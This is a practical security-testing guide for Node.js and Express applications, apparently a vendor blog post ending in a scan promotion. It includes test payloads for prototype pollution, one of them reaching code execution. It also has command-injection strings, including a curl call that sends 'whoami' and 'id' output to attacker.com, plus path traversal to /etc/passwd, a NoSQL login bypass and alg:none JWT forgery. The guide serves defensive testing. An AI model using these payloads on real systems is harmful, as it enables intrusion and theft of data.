Node.js and Express Security Testing: A Practical Guide
Node.js and Express applications have a distinct vulnerability profile. The same issues exist in every web framework — SQL injection, XSS, broken access control — but the JavaScript runtime and npm ecosystem introduce classes of vulnerabilities that don't have direct equivalents in Python, Java, or Ruby stacks. If you're testing a Node.js application, you need to know what's different.
This guide covers the Node.js-specific vulnerability landscape, how to test for each category, and what to look for in Express middleware configurations.
The Node.js Threat Model
What makes Node.js applications different from a security perspective:
- JavaScript is prototype-based — prototype pollution is a real and unique attack class
- npm ecosystem depth — the average Node app has hundreds of transitive dependencies, each a potential supply chain risk
- Async error handling — unhandled promise rejections crash processes and often reveal stack traces
- JSON is a first-class citizen — JSON deserialization is endemic, and JSON parsers have their own quirks
- Single-threaded event loop — a single ReDoS or CPU-intensive payload can freeze the server for all users
- Dynamic require() — arbitrary module loading can be exploited in certain code patterns
Prototype Pollution
JavaScript's prototype chain means that setting a property on Object.prototype affects every object in the process. If user input can traverse the prototype chain, an attacker can inject properties into base objects — often leading to privilege escalation, RCE, or DoS.
# The attack pattern
# Vulnerable code:
function merge(target, source) {
for (let key in source) {
target[key] = source[key]; // No prototype check
}
}
# Attacker sends:
{"__proto__": {"isAdmin": true}}
# After merge, every {} in the process has isAdmin: true
# If the app checks: if (req.user.isAdmin) → bypassed
# Test by sending:
curl -X POST https://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Or via URL-encoded form (qs library is vulnerable):
curl -X POST https://target.com/update \
-d "__proto__[isAdmin]=true"
Libraries commonly vulnerable to prototype pollution: lodash (before 4.17.21), merge, deep-extend, jquery, qs (URL parsing). Check npm audit for known CVEs.
Testing for prototype pollution effects
# Send the pollution payload, then test for effects
# Inject isAdmin and test if admin endpoints become accessible
curl -X POST https://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
# Then request an admin endpoint with a non-admin session
curl https://target.com/api/admin/users \
-H "Cookie: session=your-non-admin-session"
# Other interesting properties to inject:
# {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').exec('id');x"}}
# (DoT template engine RCE via prototype pollution)
ReDoS (Regular Expression Denial of Service)
Node.js is single-threaded. A regex with catastrophic backtracking against attacker-controlled input can pin the CPU at 100% and make the server unresponsive for all users. This is a high-severity DoS vector that doesn't exist in the same form in multi-threaded frameworks.
# Classic vulnerable patterns (catastrophic backtracking):
/^(a+)+$/ # "aaaaaaaaaaaaaaaa!" — exponential
/(a|aa)+/ # nested quantifiers
/^(a*)*$/ # polynomial or exponential
# Test: send a long string ending in a character that forces backtracking
# For pattern /^(a+)+$/: send "aaaa...aaaa!"
python3 -c "print('a' * 50 + '!')"
curl "https://target.com/search?q=$(python3 -c "print('a' * 50 + '!')")"
# If the request takes seconds while normal requests are instant,
# the endpoint is likely vulnerable to ReDoS
Tools: vuln-regex-detector and safe-regex analyze regex patterns statically. For dynamic testing, use recheck.
Express.js Middleware Misconfigurations
Missing Helmet.js / security headers
# Test which security headers are missing
curl -I https://target.com/
# Check for:
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY or SAMEORIGIN
# Content-Security-Policy
# Strict-Transport-Security
# X-XSS-Protection (deprecated but informational)
# Referrer-Policy
# If the app uses Express, check if helmet is configured:
# Without helmet, Express sends: X-Powered-By: Express
# This reveals the framework. helmet removes it by default.
CORS misconfiguration
# Test if origin reflection is enabled
curl -H "Origin: https://evil.com" \
-I https://target.com/api/user
# Vulnerable response:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
# Also test null origin (used by sandboxed iframes):
curl -H "Origin: null" \
-I https://target.com/api/user
# Common Express cors() misconfiguration:
# app.use(cors({ origin: true, credentials: true }))
# This reflects any origin with credentials — complete bypass
JSON parsing and content-type confusion
# Express parses both JSON and URL-encoded bodies by default
# Test if the app accepts unexpected content types
# Send JSON as form-encoded — app may process it differently
curl -X POST https://target.com/api/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=test"
# Send URL-encoded as JSON — may bypass JSON schema validation
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$gt":""}}' # NoSQL injection
# Extended URL encoding attack (prototype pollution via qs)
curl -X POST https://target.com/api/update \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "__proto__[admin]=1&data[key]=value"
Express session security
# Test session fixation: does the session ID change after login?
# 1. Get session before login
curl -c cookies.txt https://target.com/login
# Note the session cookie value
# 2. Authenticate
curl -b cookies.txt -c cookies.txt \
-X POST https://target.com/login \
-d "username=user&password=pass"
# 3. Check if session ID changed
cat cookies.txt
# Vulnerable: same session ID before and after login
# Check session cookie flags
curl -I https://target.com/login
# Look for: Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
# Missing Secure: session sent over HTTP
# Missing HttpOnly: accessible via JavaScript (XSS pivot)
# Missing SameSite: CSRF attacks possible
Command Injection in Node.js
# Node.js apps often use child_process for system operations
# child_process.exec() is vulnerable; execFile() is safer
# Test anywhere user input reaches shell commands
# Common patterns in Node.js:
# exec(`git clone ${userInput}`)
# exec(`imagemagick convert ${filename}`)
# exec(`zip -r ${archiveName} ${directory}`)
# Injection payloads (test in all parameter positions):
; id
| id
&& id
`id`
$(id)
; curl http://attacker.com/$(whoami) # out-of-band confirmation
# Example: file conversion endpoint
curl "https://target.com/convert?file=image.jpg;curl+attacker.com/$(id)"
Path Traversal in Express Static Serving
# Express.static and file download endpoints are common targets
# Test path traversal in file download/serving endpoints
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/static/../../../etc/passwd"
curl "https://target.com/files/..%2F..%2F..%2Fetc%2Fpasswd"
# Test with encoded path separators
curl "https://target.com/files/%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Express.static is safe by default, but manual implementations often aren't:
# Vulnerable pattern:
# const file = path.join(__dirname, 'uploads', req.params.filename);
# res.sendFile(file);
# Fix: path.resolve() + check file starts with allowed directory
Dependency Vulnerabilities
# Check for known vulnerabilities in dependencies
npm audit
# Detailed output with CVE IDs
npm audit --json | jq '.vulnerabilities | to_entries[] |
{name: .key, severity: .value.severity, via: .value.via}'
# Use Snyk for deeper analysis
snyk test
# Check for prototype pollution specifically
npx nodejsscan . # static analysis for Node.js security issues
# Look for outdated packages with known CVEs
npm outdated
JWT Security in Node.js
# The jsonwebtoken library had critical vulnerabilities
# Test the alg:none bypass
# Create a JWT with algorithm set to none:
import base64
header = base64.b64encode('{"alg":"none","typ":"JWT"}'.encode()).decode().rstrip('=')
payload = base64.b64encode('{"sub":"1234","role":"admin"}'.encode()).decode().rstrip('=')
token = f"{header}.{payload}."
curl -H "Authorization: Bearer {token}" https://target.com/api/admin
# Also test RS256 → HS256 algorithm confusion
# Described in detail at: /blog/jwt-security-testing-authentication-vulnerabilities
Node.js Security Testing Checklist
- Prototype pollution via JSON body, URL-encoded body, and query parameters
- ReDoS — test string inputs against endpoints that likely use regex validation
- npm audit — check for known CVEs in dependencies (high/critical)
- Security headers — Helmet.js or equivalent must be configured
- CORS — test origin reflection with and without credentials
- Session security — Secure, HttpOnly, SameSite flags on session cookies
- Session fixation — session ID must change after login
- Command injection — any child_process usage with user-controlled input
- Path traversal — file download, serving, and processing endpoints
- JWT — alg:none, RS256→HS256 confusion, weak secrets
- NoSQL injection (MongoDB) —
$gt,$ne,$regexoperators in JSON bodies - Content-type confusion — test both JSON and form-encoded bodies on all API endpoints
Ironimo scans Node.js and Express applications for the full vulnerability landscape — including prototype pollution, CORS misconfigurations, missing security headers, and injection vulnerabilities across all parameter types. It runs the same checks a manual security review covers, automatically, on every deploy.
Start free scan